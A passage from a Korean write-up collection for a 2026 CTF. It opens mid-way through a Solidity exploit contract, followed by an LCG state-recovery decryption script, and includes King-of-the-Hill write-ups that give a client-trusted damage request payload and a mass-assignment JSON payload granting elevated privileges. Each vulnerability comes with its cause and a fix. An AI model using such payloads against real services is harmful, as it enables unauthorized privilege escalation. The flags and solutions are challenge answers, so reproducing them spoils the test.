function machineCall(bytes calldata data)
    external onlyOwner returns (bytes memory)
{
    (bool ok, bytes memory result) = machine.call(data);
    if (!ok) revert MachineCallFailed(result);
    return result;
}

function computeOpen(bytes calldata grant) external onlyOwner {
    compute.open(grant);
}

function computeMitm(uint256 a, uint256 b) external onlyOwner {
    compute.submitMitm(a, b);
}

function computeCollision(bytes32 x, bytes32 y) external onlyOwner {
    compute.submitCollision(x, y);
}

function computeClaim(uint256 nonce) external onlyOwner {
    compute.claim(nonce);
}

function sweepWeth(uint256 amount) external onlyOwner {
    if (amount == type(uint256).max) amount = weth.balanceOf(address(this));
```

```
        if (!weth.transfer(owner, amount)) revert TransferFailed();
    }

    function sweepGem(uint256 amount) external onlyOwner {
        if (amount == type(uint256).max) amount = gem.balanceOf(address(this));
        if (!gem.transfer(owner, amount)) revert TransferFailed();
    }
}
```

재현 결과

Setup.isSolved()가 참이 된 뒤 /flag 응답에서 다음 플래그를 확인했다.

코드 블록 (text)

```
msgctf2026{sp1it_brain_0racle_cycl3_c1osed}
```

28. tr88

분야	Crypto
상태	완료

풀이 과정

풀이 과정

설명서의 SHA256("tracking:{i}:{j}") 패턴으로 PNG 프레임을 복원하고, 화면 하단에서 상태의 상위 16비트를 읽었다. 공개된 LCG 상수 a, b가 random.Random(3)에서 생성됨을 확인해 초기 상태를 복구했다. 프레임 간격 round(30 × 1.05^i)를 적용했을 때 16개 중 14개가 일치했고, 프레임 01과 08은 불일치했다. 마지막 프레임 이후 648번째 상태부터 만든 키스트림으로 cylinder.enc를 XOR 복호화해 플래그를 얻었다.

익스플로잇 코드 / 분석 코드 전체

프레임과 암호문을 코드와 같은 폴더에 둔 뒤 pip install pillow, python solve_tr88.py 순서로 실행.

코드 블록 (python)

```
import hashlib
import random
from pathlib import Path

from PIL import Image

FOLDER = Path(".")  # frame_00.png ~ frame_15.png, cylinder.enc가 있는 폴더

p = 0xffffffffffffffffffffffffffffffe95
a = 0x216363698b529b4a97b750923ceb3fff
b = 0x795b929e9a9a80fdea7b5bf55eb561a6

def restore_frame(index):
    path = FOLDER / f"frame_{index:02d}.png"
    with Image.open(path) as image:
        image = image.convert("RGB")
        size = image.size
        data = image.tobytes()

    pattern = b"".join(
        hashlib.sha256(f"tracking:{index}:{j}".encode()).digest()
        for j in range((len(data) + 31) // 32)
    )
    restored = bytes(x ^ y for x, y in zip(data, pattern))
    return Image.frombytes("RGB", size, restored)

def read_top16(image):
    value = 0
    for j in range(16):
        r, g, blue = image.getpixel((319 + 19 * j, 438))
        bit = int(r + g + blue > 3 * 128)
        value = (value << 1) | bit
    return value

def next_state(state):
    return (a * state + b) % p

# 공개된 LCG 상수 a, b를 생성한 Python 난수 시드를 찾는다.
for seed in range(100_000):
    rng = random.Random(seed)
    if rng.randrange(2, p - 1) != a:
        continue
    if rng.randrange(2, p - 1) != b:
        continue
    initial_state = rng.randrange(2, p - 1)
    break
else:
    raise ValueError("난수 시드를 찾지 못했습니다.")

print("난수 시드:", seed)
print(f"초기 상태: {initial_state:032x}")

observed = [read_top16(restore_frame(i)) for i in range(16)]

# 프레임 사이에서 누락된 상태 갱신 횟수
indices = [0]
for i in range(15):
    indices.append(indices[-1] + round(30 * 1.05**i))

state = initial_state
states = [state]
for _ in range(indices[-1]):
    state = next_state(state)
    states.append(state)

for i, index in enumerate(indices):
```

```
    expected = states[index] >> 112
    if observed[i] != expected:
        print(
            f"프레임 {i:02d} 불일치: "
            f"관측값={observed[i]:04x}, 계산값={expected:04x}"
        )

# 마지막 프레임 다음 상태부터 16바이트씩 키스트림을 만든다.
ciphertext = (FOLDER / "cylinder.enc").read_bytes()
state = states[-1]
keystream = bytearray()

while len(keystream) < len(ciphertext):
    state = next_state(state)
    keystream.extend(state.to_bytes(16, "big"))

plaintext = bytes(x ^ y for x, y in zip(ciphertext, keystream))
assert plaintext[:4] == b"ORGL"

flag_length = int.from_bytes(plaintext[4:6], "big")
flag = plaintext[6:]
assert len(flag) == flag_length

print("복호화 결과:", repr(plaintext))
print("플래그:", flag.decode())
```

재현 결과

복호화 데이터의 ORGL 헤더와 길이를 확인했고, 재암호화 결과가 원본과 일치했다. 플래그: msgctf2026{D0oo_No777_R3w1nDddd}

MSG CTF 2026 · KING OF THE HILL

KoTH Challenge Write-ups

전략 설계, 취약점 분석, 반복 개선 기록

1. CARD BATTLE ARENA
2. DEPENDENCY HELL
3. STACK STACK STACK
4. PIXEL SMUGGLER
5. SWANOPOLY
6. GRAND TOUR DUEL

각 문제의 핵심 규칙과 접근법, 구현 전략 및 개선 과정을 간결하게 정리했다.
토큰·세션 정보 등 제출 계정의 민감정보는 문서에서 제외했다.

MSG CTF 2026 · KOTH

CARD BATTLE ARENA

Client-side Damage Trust · 간단 Write-up

1. 취약점

공격 요청의 `damage` 값을 클라이언트가 계산해 보내며, 서버가 그 값을 그대로 신뢰한다. 정상 카드 능력치와 무관하게 매우 큰 값을 전송하면 King의 HP를 즉시 제거할 수 있다.

2. 익스플로잇

```
POST /api/attack
Content-Type: application/json

{
  "session_id": "<SESSION_ID>",
  "attacker_card_id": "storm_dancer",
  "damage": 999999999,
  "bid": 1
}
```

현재 King에게 방패가 있다면 `bid`를 방패보다 크게 설정한다. 공격이 처리된 뒤 10초 라운드가 끝나면 왕좌를 차지하며 플래그가 표시된다.

3. Flag

`msgctf2026{d0nt_trust_cl1ent_d4mage}`

4. 원인과 대응

- **원인:** 서버가 카드 능력치로 데미지를 재계산하지 않고 클라이언트의 `damage`를 신뢰했다.
- **대응:** 서버가 카드·상태·규칙으로 최종 데미지를 직접 계산하고 클라이언트에는 공격 선택값만 받는다.
- **검증:** `damage`와 `bid`의 타입·범위, 현재 세션, 카드 소유권, 방패 조건을 서버에서 확인한다.

사용자가 제공한 풀이 내용을 제출용으로 간단히 정리했다.

CHALLENGE 01

01. Dependency Hell

JSONL 장애 분석기를 기준 프로그램과 똑같이 구현하고, 모든 Hidden Test를 통과한 Linux/AMD64 단일 실행 파일의 바이트 수로 경쟁하는 문제다.

중복 제거

`[7,7,8]`은 세 표가 아니라 두 표다. 같은 dependency ID는 노드별로 한 번만 센다.

노드별 quorum

`dead` 표와 `degraded` 이상 표를 서로 다른 임계값 판정에 사용한다.

최소 고정점

cycle 자체가 장애를 만들면 안 된다. 로컬 장애에서 실제로 도달 가능한 승격만 반영한다.

계산 순서

1. 상태를 `online=0`, `degraded=1`, `dead=2`로 바꾼다.
2. 모든 event를 입력 순서대로 로컬 상태에 적용한다. `warning`은 한 단계 상승, `critical`은 즉시 2, `recover`는 한 단계 하강이다.
3. `(dependency, node)` 쌍을 중복 제거하면서 역방향 인접 리스트를 만든다.
4. 임계값 2를 먼저 전파해 dead 고정점을 구하고, 이어 임계값 1을 전파해 impaired 고정점을 구한다.
5. 최종 ID를 오름차순으로 출력하고 가중 장애율을 정수 연산으로 계산한다.

```
local state → dead seed (state=2) → quorum countdown → degraded seed (state=1)
                                  → remaining countdown
```

역방향 그래프를 사용하면 상태가 올라간 dependency를 바라보는 노드만 갱신할 수 있다. dead 단계에서 줄어든 quorum countdown을 초기화하지 않으면, 다음 단계에서 `dead + degraded` 표가 자연스럽게 합쳐진다. 각 노드는 단계별로 한 번만 승격되므로 전파 비용은 `O(N+E)`다.

> **왜 최소 고정점인가?**
> 로컬 상태에서 시작하고, 이미 만족된 quorum에 의해서만 상태를 올린다. 상태는 내려가지 않고 가능한 값은 0·1·2뿐이므로 반드시 멈춘다. seed가 없는 순환은 queue에 들어오지 않으므로 허공에서 장애를 만들지 않는다.

```
score = floor(100 × Σ(weight × effective) / (2 × Σweight))
```

DEPENDENCY HELL · ARTIFACT GOLF

정답을 334바이트로 줄이기

기능을 맞춘 뒤에는 정규 입력 문법과 고정 runner 환경을 적극적으로 이용해 범용 기능을 모두 걷어냈다.

JSON 파서 제거

입력이 ASCII·고정 key 순서·무공백 subset이므로 BusyBox AWK의 `-F\\W+`만으로 필요한 토큰을 뽑았다.

문자열 전체 비교 제거

상태와 event는 서로 구분되는 짧은 부분 정규식으로 판정해 소스 바이트를 아꼈다.

배열 하나에 여러 역할

복합 key로 중복 제거와 역방향 인접 리스트를 함께 만들고, quorum countdown을 두 임계값에서 재사용했다.

소스 자체를 압축

AWK payload를 truncated gzip으로 넣고, shell이 `busybox zcat`으로 풀어 곧바로 AWK에 넘겼다.

단계	크기	의미
기준 프로그램	`7,324,944 B`	기능이 완성된 출제자 baseline
최종 AWK payload	`488 B`	파싱·event·고정점·출력을 모두 포함
압축 payload	`290 B`	압축률을 고려해 변수명과 배치를 탐색
제출 artifact	**`334 B`**	shell prefix/suffix와 gzip payload를 합친 단일 파일

Hidden Test에서 특히 위험했던 부분

중복 dependency, 서로 다른 quorum, event 순서, dead와 impaired 표의 차이, 여러 단계 chain과 cycle, self-loop, 빈 deps, 낮거나 sparse한 ID, 한 프로세스의 64개 연속 case를 모두 별도로 확인했다.

검증 결과

공식 Docker 공개 테스트 **20/20 PASS**, artifact **334바이트**. 개발 중 random oracle 4,096건과 batch 스트레스를 통과했고, 서버 Hidden Test **PASS** 및 제출 당시 leaderboard **1위**를 확인했다. 기준 바이너리보다 약 **21,931배** 작다.

최종 artifact SHA-256: `9b36b5fd51ddbe3f1c834094fa3e48e90770da43fff0df16bcd5882d944cfc38`

MSG CTF 2026 · KOTH

STACK STACK STACK

Jenga 폭·오프셋 최적화와 15분 원격 운영

1. 규칙과 점수

초기 블록은 중심 0, 폭 10이다. 제출 폭을 `w`, 오프셋을 `o`, 실제 바람을 `wind`라 하면 새 중심은 다음과 같다.

```
actual_center = previous_center + o + wind
```

직전 블록과 새 블록의 교집합이 다음 top이 된다. 겹침이 **0.20 미만**이면 상단 절반 붕괴, combo 초기화, 2 tick cooldown이 적용된다. 20층을 완주하면 crown 보너스를 받고 폭 10에서 다시 시작한다.

```
precision = overlap / width
risk = (10 / width) ^ 0.8
points ∝ precision² × risk × height_bonus × combo_bonus
```

트레이드오프: 폭 10은 안전하지만 낮은 배율, 좁은 폭은 높은 점수와 높은 붕괴 위험을 갖는다. 목표는 crown까지 생존하는 범위에서 기대점수를 최대화하는 것이다.

2. 바람 보정

`GET /state`는 다음 tick의 힌트와 오차 0.25를 제공한다. 내부 구간은 `offset = -hint`로 잔차를 ±0.25 안에 둔다.

```
if hint >= 1.0:       offset = -0.875
elif hint <= -1.0:   offset =  0.875
else:                 offset = -hint
```

실제 바람은 [-1,1]로 clamp된다. 끝점 힌트 +1/-1의 조건부 구간 중점이 ±0.875이므로, 단순히 ∓1을 쓰는 것보다 중심 오차를 줄인다.

3. 적응형 폭

높이별 기대점수 탐색표로 시작 약 **2.95**에서 점차 줄여 17층 이후 최소 폭 **0.75**에 도달한다. 끝점 바람은 별도 표를 쓴다.

```
width = base[height][wind_class]
      + slope[height][wind_class]
        × (top_width - reference[height])
```

교집합 누적으로 실제 폭이 기준에서 벗어나면 선형 보정한다. 예상 밖 상태는 `top_width + 0.5`로 직전 블록을 덮는 안전 fallback을 사용한다.

4. API 봇

① 인증
`POST /auth`
토큰은 환경 변수에서만 읽음

② 상태
`GET /state`
height, top_width, next wind hint

③ 배치
`POST /place`
계산한 width / offset 등록

④ 관측
`GET /ticks`, `/scoreboard`
실제 바람·점수·순위 확인

5. 중복 없는 tick 운영

상태 변경 요청에는 경기 generation과 tick을 결합한 고유한 `Idempotency-Key`를 사용했다.

```
place-g{generation}-t{tick}-codex-01
```

timeout 뒤 같은 본문을 재전송해도 최초 성공 응답이 재사용된다. 봇 내부에도 이미 처리한 tick을 기록해 팀당 tick 1회 제한을 지켰다.

6. 15분 회차 운영

1. 약 2초마다 `/state`를 읽되 tick 번호가 바뀔 때만 등록한다.
2. 60초 tick 종료 후 `/ticks`의 실제 바람과 배치 결과를 확인한다.
3. 900초(15분) 회차마다 scoreboard의 crown·collapse·점수·순위를 기록한다.
4. 붕괴가 생기면 폭 정책을 보수화하고, 실제 top width 편차를 다음 배치에 반영한다.
5. 지정 종료 시각에는 idempotent한 `POST /strategy/stop`으로 원격 전략을 정리한다.

7. 핵심 요약

Offset
-hint, 끝점은 ∓0.875

Width
높이에 따라 2.95 → 0.75

Stability
top width 적응 보정과 안전 fallback

Operation
tick별 idempotent 제출과 15분 모니터링

팀 토큰·세션 값은 문서와 로그에 포함하지 않았다.

CHALLENGE 02

02. Pixel Smuggler

15분마다 바뀌는 코드를 하나의 PNG 안에 세 가지 방식으로 동시에 숨겨야 한다. QR로 읽혀야 하고, IDAT 압축 바이트와 복원된 RGB 한 행에도 같은 ASCII가 연속으로 존재해야 한다.

정상 PNG

296×296 RGB8, `IHDR/IDAT/IEND` 각 1개, 정확히 하나의 zlib stream이어야 한다.

정상 QR

Version 3 · H, 8×8 module, 4칸 quiet zone. 고정 무늬를 지키며 data module은 최대 8개만 바꿀 수 있다.

이중 평문

round code가 IDAT payload의 압축 바이트와 복원된 RGB scanline 양쪽에 그대로 보여야 한다.

핵심: DEFLATE stored block으로 평문 밀수

marker를 넣을 어두운 QR module의 한 RGB 행을 고르고, 그 행은 PNG filter 0을 사용한다. 그다음 원본 scanline을 marker 직전과 직후로 나눠 각각 압축하고, 사이에 marker를 literal로 담은 non-final DEFLATE stored block을 삽입한다.

```
zlib header | compressed prefix · BFINAL=0 | stored block [LEN/NLEN + ASCII marker]
| compressed suffix · BFINAL=1 | Adler-32
```

stored block의 literal은 압축 데이터 안에서는 그대로 보이고, inflate하면 정확히 같은 위치의 scanline bytes가 된다. 따라서 한 번의 splice로 두 평문 조건을 동시에 만족한다. 마지막에는 전체 raw에 대한 Adler-32와 IDAT CRC를 다시 계산해 PNG를 재조립한다.

생성 파이프라인

```
QR mask 8개 탐색 → 색·필터·marker 위치 탐색 → Zopfli prefix/suffix → DEFLATE splice →
공식 checker → 서버 제출
```

> **안전장치**
> OpenCV 4.11 QR decode, module 밝기, 고정 패턴, 변경 module 수, zlib 복원 길이, marker 위치, PNG CRC를 공식 `check_png()` 로 다시 확인한 후보만 제출했다.

PIXEL SMUGGLER · FOUR OBJECTIVES

모드별로 목적함수를 분리하기

모든 라운드에 같은 PNG를 쓰는 대신, 1차·2차·3차 비교 기준을 그대로 코드의 탐색 순서로 옮겼다.

모드	채점	사용한 최적화
size	전체 PNG 바이트 수	8개 QR mask, 색·filter·marker 위치를 훑고 prefix/suffix를 Zopfli block으로 재압축했다. BFINAL과 byte padding을 직접 맞춰 stored block을 최소 오버헤드로 연결했다.
byte_sum	모든 파일 바이트의 합 동점: 크기	dark/light palette와 marker 위치를 탐색한 뒤, 같은 stream을 복원하는 32개 zlib CMF/FLG header와 무시되는 DEFLATE padding bit까지 재랭크했다. IDAT payload가 바뀌면 CRC도 바뀌므로 `payload + CRC`를 함께 비교했다.
poster	목표 RGB와 L1 차이 + 2,000 × 크기	QR의 dark≤96, light≥192 제약으로 목표 영상을 투영하고, pixel/module 단위 양자화 수준을 바꿔 rate–distortion 곡선을 탐색했다. marker가 만드는 추가 왜곡도 위치 선택 비용에 포함했다.
clusters	검은 연결요소 수 동점: 경계, byte sum	허용된 8개 data-module flip을 graph 탐색으로 배치해 연결요소와 경계를 먼저 줄였다. 같은 topology를 유지한 채 색·filter·압축만 다시 탐색해 마지막 byte-sum 동점 기준을 낮췄다.

대표 서버 제출

라운드 모드	서버가 받은 결과	비고
size	`1,039 B`	accepted, 확인 시점 1위
byte_sum	102,902	accepted, 확인 시점 1위
clusters	(29, 812, 101,341)	연결요소 · 경계 · byte sum
poster	20,923,771	accepted
byte_sum	`104,985 · 1,090 B`	후속 라운드 improved 제출

라운드마다 code와 목표가 달라 점수끼리 직접 비교할 수 없다. 순위 표기는 해당 시점의 leaderboard snapshot이며 최종 종합 순위를 뜻하지 않는다.

시간 제한에 맞춘 운영

- 새 round를 감지하면 빠른 zlib baseline을 먼저 공식 검증하고 제출해 유효 기록을 확보했다.
- 그 뒤 Zopfli screen → 전체 module sweep → 상위 module의 세부 위치 탐색 → header/padding 재랭크 순서로 개선했다.
- 각 단계의 best artifact를 별도로 저장해 긴 탐색이 cutoff에 걸리거나 실패해도 마지막 유효 후보를 즉시 제출할 수 있게 했다.

한 줄씩 남은 교훈

Dependency Hell: cycle을 특별 취급하기보다, 단조로운 상태 승격을 threshold worklist로 바꾸면 최소 고정점과 작은 구현을 동시에 얻을 수 있다.

Pixel Smuggler: 파일 포맷의 "동일하게 복원되는 여러 표현"까지 탐색 공간으로 보면, 정답 이미지를 바꾸지 않고도 크기와 byte sum을 더 낮출 수 있다.

KOTH 공통: 먼저 정확한 PASS를 확보하고, 채점의 사전식 우선순위와 남은 시간을 그대로 최적화 파이프라인에 반영하는 것이 가장 강했다.

MSG CTF 2026 · KOTH

SWANOPOLY

Mass Assignment부터 안정적인 보드게임 봇 최적화까지

간단 Write-up
Level 0 라이선스 우회 · Level 1 paired A/B 전략
2026-11-08 KST

1. 문제 개요

> **핵심:** Level 0에서 SWAN/GOLD/League 권한을 얻고, Level 1에서 30턴 봇의 60개 비공개 시드 절사평균을 경쟁한다.

1. **Level 0 — Airline License**: SWAN 면허, GOLD 인증, League 권한 활성화
2. **Level 1 — Bot Control Center**: 보드게임 봇 작성 및 KOTH 평가

```
최종 점수 = 보유 노선 실제 가치 + 지역 세트 보너스
+ 남은 현금의 5% - 파산 횟수 × 300
```

같은 지역 노선 2/3/4개 보유 시 80/220/500점이 붙는다. 구매 후 2턴 쿨다운이 생기고, 200원을 들여 최대 두 번 투자하면 실제 가치가 60% 증가한다.

2. Level 0 — Mass Assignment

정상 신청은 항공사와 운항 정보만 보내지만, 발급 JWT payload에는 서버 전용 필드가 함께 있었다.

```
{
  "license": {"tier": "BASIC"},
  "accreditation": {"grade": "STANDARD"},
  "permissions": {"swanLeague": false}
}
```

`POST /api/license/apply`가 입력 JSON을 내부 객체에 과도하게 병합했다. 정상 필드와 아래 내부 필드를 함께 보냈다.

```
{
  "applicant": {"airlineName": "my-airline"},
  "operations": {"homeAirport": "ICN", "targetRegion": "EAST_ASIA"},
  "license": {"tier": "SWAN"},
  "accreditation": {"grade": "GOLD"},
  "permissions": {"swanLeague": true}
}
```

서버가 이 값으로 서명한 새 JWT를 돌려주므로 서명 위조는 필요 없다. 토큰을 `POST /api/license/activate`에 넣으면 Level 1이 열린다.

취약점 요약

- 원인: allow-list 없이 사용자 객체를 내부 모델에 재귀 병합
- 영향: 면허·인증·리그 권한을 사용자 입력으로 지정
- 대응: DTO allow-list, 서버 전용 필드 분리, 추가 속성 거부

3. Level 1 — 기본 전략

봇은 매 턴 `MANAGE → MOVE → BUY`에서 호출된다. 코드는 12,000바이트 이하이며 제한된 Python 문법만 쓸 수 있다.

BUY

- 변동 노선 기대값: 균등분포 0.6~1.8배의 평균인 **1.2 × base**
- 세트 한계 보너스: 두 번째/세 번째/네 번째 노선에 **80/140/280**
- 남은 턴 비례 현금 buffer로 이용료·공항세 파산 방지
- 기대 이득이 매우 큰 노선은 일반 노선보다 공격적으로 구매

MANAGE

- `owned_values`가 가장 큰 보유 노선을 투자 대상으로 선택
- 후반·고가 노선·쿨다운 조건을 조합해 이동을 포기할 가치가 있을 때만 투자
- paired A/B 결과에 따라 쿨다운 투자 cutoff는 **600**

MOVE

- 40칸 utility로 KEEP/REROLL/DOUBLE의 기대값 비교
- WORLD_TRAVEL은 가치와 세트 보너스가 가장 큰 구매 가능 노선에 사용
- 후반 저현금에는 아프리카 끝으로 이동해 다음 턴 START +150 회수

4. 핵심 개선 — 실제 이용료 기반 utility

초기 봇은 구매하지 않을 노선을 모두 `-20`으로 평가했다. 그러나 PASS 이용료는 구매가의 8%이므로 가격별 손해가 다르다.

```
fee = (price * 8 + 99) // 100
if cash < fee:
    utility[index] = -420
else:
    utility[index] = -fee
```

시드	기존 평균	개선 평균	변화	파산
1–20	2310.97	2338.25	+27.28	0 → 0
21–40	2228.61	2263.61	+35.01	0.05 → 0

아이템 경로가 가격별 위험을 구분하면서 누적 이용료와 파산이 함께 감소했다.

5. 핵심 개선 — Late WORLD_TRAVEL Guard

27~29턴 저현금 복구는 카사블랑카 근처로 이동한 뒤 다음 턴 START +150을 받는 방식이다. 하지만 정상 주사위로 이미 START를 넘는 경우 WORLD_TRAVEL은 손해다.

```
if world_travel > 0 and late_cycle:
    if position + dice < 40:
        # 현금/보유 상태에 따라 Africa 끝부분 선택
        return {"action": "WORLD_TRAVEL", "target": target}
```

40시드 교차 실행:
trimmed mean 2298.16 → 2314.96, **+16.80**

한 시드의 파산 1회도 추가 노선 가치가 상쇄해 해당 시드 순점수는 +95.45였다. 가장 큰 개선은 투자 기회를 회복하며 +439.37점을 기록했다.

여분 WORLD_TRAVEL + 쿨다운 회수

`WT ≥ 2`이고 쿨다운이 1일 때만 여분 하나로 Casablanca→START를 회수한다. ID 23 대비 40시드 합산 평균은 약 **+7.28**, 파산은 **1 → 0**이었다. 상승폭이 작아 조건을 더 넓히지 않았다.

6. 검증과 최종 제출

파라미터 하나씩 같은 시드의 기준/후보를 paired A/B로 실행했다. 첫 20개에서 좋아도 다른 20개에서 반전되면 폐기했다. 공격적 구매, 투자 buffer 완화, 변동 노선 과대평가 등이 이 과정에서 탈락했다.

```
wc -c bot.py                # 12,000 bytes 이하
python3 -m py_compile bot.py # 문법 검사

POST /api/level1/test-run    # 같은 시드로 기준/후보 비교
POST /api/level1/bot         # 공식 제출
```

최종 제출은 **ID 41**(11,477 bytes)이며, `fee-aware + late-WT guard + 여분 WT 회수`를 포함한다.

```
78ca4baeb617ddd9dfe7fd98d6b7a73b
d535407e1014f35b8c99e061cf07dd12
```

직전 fee-aware 제출 반영 구간에서 metric은 **3132.38 → 3263.21**로 상승했다. 비공개 시드는 15분마다 바뀌므로 재현되지 않는 후보를 제출하지 않는 것이 중요했다.

7. 결론

Level 0의 핵심은 JWT 알고리즘이 아니라 **서버가 서명하기 전 모델의 mass assignment**였다. Level 1에서는 최고점보다 여러 시드의 파산·이용료 꼬리를 줄이는 편이 중요했다. 실제 비용을 반영하고 START 보상을 지키며 남는 WORLD_TRAVEL만 좁게 활용한 변경들이 안정적으로 재현됐다.

본 문서에는 팀 토큰, 세션 쿠키 및 개인 식별 정보를 포함하지 않았다.

MSG CTF 2026 · KOTH

GRAND TOUR DUEL

프로그래밍·게임 전략 · Python JSON Lines Bot

1. 문제 개요

취약점을 공격해 플래그를 얻는 유형이 아니라, 매 턴 게임 상태를 읽고 합법 행동 하나를 출력하는 봇 대전이다. 봇은 표준 입력에서 한 줄짜리 JSON 요청을 읽고 표준 출력으로 한 줄짜리 JSON 응답을 즉시 반환한다.

`observation`에는 공개 카드, 은행 토큰, 내·상대 자원과 점수, 예약 카드, `legal_actions`가 들어온다. 따라서 임의 행동을 만들지 않고 합법 행동 목록 안에서 구매·토큰 획득·예약을 선택했다.

```
stdin : {"type":"turn","observation":{...,"legal_actions":[...]}}
stdout: {"action":"buy", ...}
```

2. 전체 전략

초반 필요 색상 할인 확보 → **중반** 계약·후원자 진척 → **후반** Tier 3 고득점 전환 → **종료전** 마무리/상대 차단

계약 선택
달성 가능성과 최대 보너스를 기준으로 우선순위를 정하고, 선택한 계약의 진행 상태를 카드 가치에 반영했다.

초반 할인 엔진
저단계 카드를 무조건 사지 않고, 공개된 고득점 카드가 실제로 요구하는 색상의 할인을 우선했다.

후반 점수 전환
진행도에 따라 엔진 가중치를 낮추고 점수 가중치를 높여 Tier 3 카드와 계약 완성으로 전환했다.

예약 3회 관리
마지막 예약은 상대의 결정적 카드 차단 또는 내 확정 마무리 보호에 남겨 두었다.

3. 가치와 도달 턴 계산

카드 평가는 명목 점수뿐 아니라 할인 엔진, 계약·후원자 시너지와 실제 도달 비용을 함께 계산한다.

```
card_value = 카드 점수 가치 + 할인 엔진 가치 + 계약·후원자 시너지
target_score = card_value / (1 + effort / 2)^1.25
```

`effort`는 부족 토큰과 특정 색상 편중을 반영한다. `remaining_turns`는 현재 할인·보유 토큰·은행 재고·골드 대체와 토큰 획득 규칙까지 반영한다. 재고와 골드로도 비용을 충당할 수 없으면 `99`를 반환해 후보에서 사실상 제외한다.

> **핵심:** "점수가 가장 큰 카드" 대신 "적은 턴 안에 실제로 살 수 있는 가치 높은 카드"를 목표로 삼는다.

IMPLEMENTATION & ITERATION

핵심 코드와 개선 과정

4. 핵심 코드 발췌

거대한 카드 정적 테이블(`CARD_ROWS`)은 생략했다.

계약 선택

```
def choose_contract(choices):
    ranking = {
      "grand-collection": 7,
      "royal-express": 6,
      "secret-vault": 5,
      "patron-tour": 4,
      "artisan-association": 2,
      "continental-guild": 1,
  }
    return max(choices,
      key=lambda c: ranking.get(
        c["id"], 0))["id"]
```

카드 가치·노력·남은 턴

```
def target_score(card, obs, held, reserved=False):
    return card_value(card, obs, reserved) / (
        1.0 + effort(card, obs, held) / 2.0
  ) ** 1.25

def remaining_turns(card, obs, held):
    gaps = [max(0, card["cost"][i]
            - discounts[i] - held[i])
            for i in range(5)]
  # 재고 부족분은 골드로 먼저 보정
    if sum(unavailable) > held[5]:
        return 99
  …
    return max((shortage + 2) // 3, color_turns)
```

최종 행동 선택 순서

```
legal = observation["legal_actions"]
buys = [a for a in legal if a.get("kind") == "buy"]
if finishers:                          return max(finishers, key=finisher_key)
if unique_opponent_threat and reserve_is_legal: return reserve_threat
if opening and engine_buys:            return max(engine_buys, key=buy_score)
…                     # 고득점 구매 / 목표로 진전하는 토큰 행동
return max(legal, key=evaluate_legal_action)
```

실제 `choose_action()`은 위 순서로 모두 `legal_actions`의 원소를 반환한다. 메인 루프는 `start`, `choose_contract`, `contract_assignment`, `turn`을 구분하고 `flush=True`로 즉시 응답한다.

5. 패배 리플레이 기반 개선

관찰한 실패

저득점 카드를 과도하게 선구매해 점수 전환이 늦었고, 예약 3회를 초반에 소진해 상대의 결정적 카드를 막지 못했다.

버전 12 개선

진행도별 가중치와 `remaining_turns`를 적용하고, 일반 예약을 제한해 마지막 기회를 상대의 유일한 즉시 위협 차단에 보존했다.

6. 검증 및 결과

```
python -m py_compile challenges/msgctf-2026/grand-tour-duel/bot_v12.py
```

2026-11-08 12:45 공식 구간에서 **버전 10은 10승 10패, 6팀 중 4위**였다. 버전 12는 구문 검사와 패배 장면을 재구성한 행동 검사를 통과했으나, **버전 12의 공식 성적과 최종 순위는 미확인**이다. 이 문제에는 별도의 플래그가 없다.

7. 결론

핵심은 정적인 카드 점수 극대화가 아니라 구매까지 필요한 턴 수, 계약 시너지, 상대의 종료 위협을 함께 계산하는 것이다. 초반 할인 엔진에서 후반 점수 레이스로 자연스럽게 전환하고, 제한된 예약을 방어 자원으로 관리한 것이 주된 개선점이다.

제공된 `bot_v12.py`와 경기 기록을 바탕으로 정리했으며, 확인되지 않은 성적이나 플래그는 기재하지 않았다.